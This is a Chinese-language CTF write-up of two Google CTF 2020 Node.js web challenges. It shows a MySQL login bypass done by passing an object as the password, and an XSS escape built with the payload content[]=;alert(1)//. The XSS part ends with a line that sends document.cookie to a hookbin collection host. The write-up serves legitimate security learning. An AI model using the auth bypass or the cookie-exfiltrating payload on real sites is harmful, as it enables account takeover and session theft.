Background
昨天打gactf时候师傅说没有js题,google ctf 2020里面·有nodejs的题目 赶快来复现下
Log me in
Log in to get the flag
⇥Attachment https://log-me-in.web.ctfcompetition.com/
直接浏览网页
登录页面弱口令admin admin可以登录
提示只有michelle这个账号才能登录,看一些代码
app.use(bodyParser.urlencoded({
extended: true
}))
这个是第一次见,使用qs.query()处理传参,简单记录一下允许以json的方式放送
在login路由里面我发现了与数据库交互的地方
app.post('/login', (req, res) => {
const u = req.body['username'];
const p = req.body['password'];
const con = DBCon(); // mysql.createConnection(...).connect()
const sql = 'Select * from users where username = ? and password = ?';
con.query(sql, [u, p], function(err, qResult) {
if(err) {
res.render('login', {error: `Unknown error: ${err}`});
} else if(qResult.length) {
const username = qResult[0]['username'];
let flag;
if(username.toLowerCase() == targetUser) {
flag = flagValue
} else{
flag = "<span class=text-danger>Only Michelle's account has the flag</span>";
}
req.session.username = username
req.session.flag = flag
res.redirect('/me');
} else {
res.render('login', {error: "Invalid username or password"})
}
});
});
可以关注一个点:toLowerCase
转小写,本能想到原型链污染,但后来发现根本找不到链
参考颖奇师傅所说,和john的video
let object = {
"password" : 1
}
var mySql = mysql.format('SELECT * from users where username = ? and password = ?',["michelle",object]);
console.log(mySql);
写一个demo 将对象传给password
会变成
password = `password`= 1
参考Wesley师傅的一句话
on SQL, (反引号) can be used to mark the value as the name of a column or
table
password=`password`
it is the same as password=password,
basically it is comparing if the value of the password column is equal
to itself, what will always be true
`password = `password` = 1`
will be
evaluated to true = 1 which is the same as true = true, that is, true
翻译过来就是
在SQL上,反引号可用于将值标记为列或表的名称
password =`password`
与password = password相同,基本上是在比较password列的值是否等于其自身,始终为true
password =`password` =
> 1
将被评估为true = 1,与true = true相同,即true
在颖奇师傅的博客里找到了官方文档的一句话
Objects are turned into key = 'val' pairs for each enumerable property
on the object. If the property's value is a function, it is skipped;
if the property's value is an object, toString() is called on it and
the returned value is used.
so 接下来就是登录getflag
最终get flag
pasteurize
打开页面直接看到一个交互的地方,简单看了看功能,大致是写点什么东西可以分享给管理员
我先直接测试一个alert(1)
发现有过滤
关键代码
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
.replace(/</g, '\\x3C').replace(/>/g, '\\x3E');
掐头去尾之后再替换,那么我们直接/source看看源码有什么可以应用的地方
app.use(bodyParser.urlencoded({
extended: true
}));
和上一道题一样,允许对象嵌套的方式,也支持以json方式传输数据
我这里测试了一些小demo来理解json.stringify.slice的过滤方式
const unsafe_content = note.content;
const safe_content = escape_string(unsafe_content);
res.render('note_public', {
content: safe_content,
id: note_id,
captcha: res.recaptcha
});
});
这个代码这里创建了一个content用来渲染其他参数
这里面我引用颖奇师傅blog的一句话
正常情况下提交content就是什么就输出什么,因为slice(1,-1)脱去了分号;如果是利用qs.parse()提交对象就不一样了,此时经过JSON.stringify()得到的字符串再slice(1,-1)切片脱去的就不再是引号而是两侧的大括号了,因为此时的content不再是字符串而是对象
利用这个办法拿掉大括号,然后我们手动闭合双引号,后面多余的注释掉就好了
构造如下
content[]=;alert(1)//
就会变成
const note = "";alert(1)//"";
构造拿cookie即可
我这里面用hookbin把flag带出来
"; new Image().src = 'hookbin地址?c='+document.cookie
参考资料
颖奇师傅:https://www.gem-love.com/ctf/2593.html
John hammond : https://www.youtube.com/watch?v=HOQzu0SQFWA
https://www.youtube.com/watch?v=voO6wu_58Ew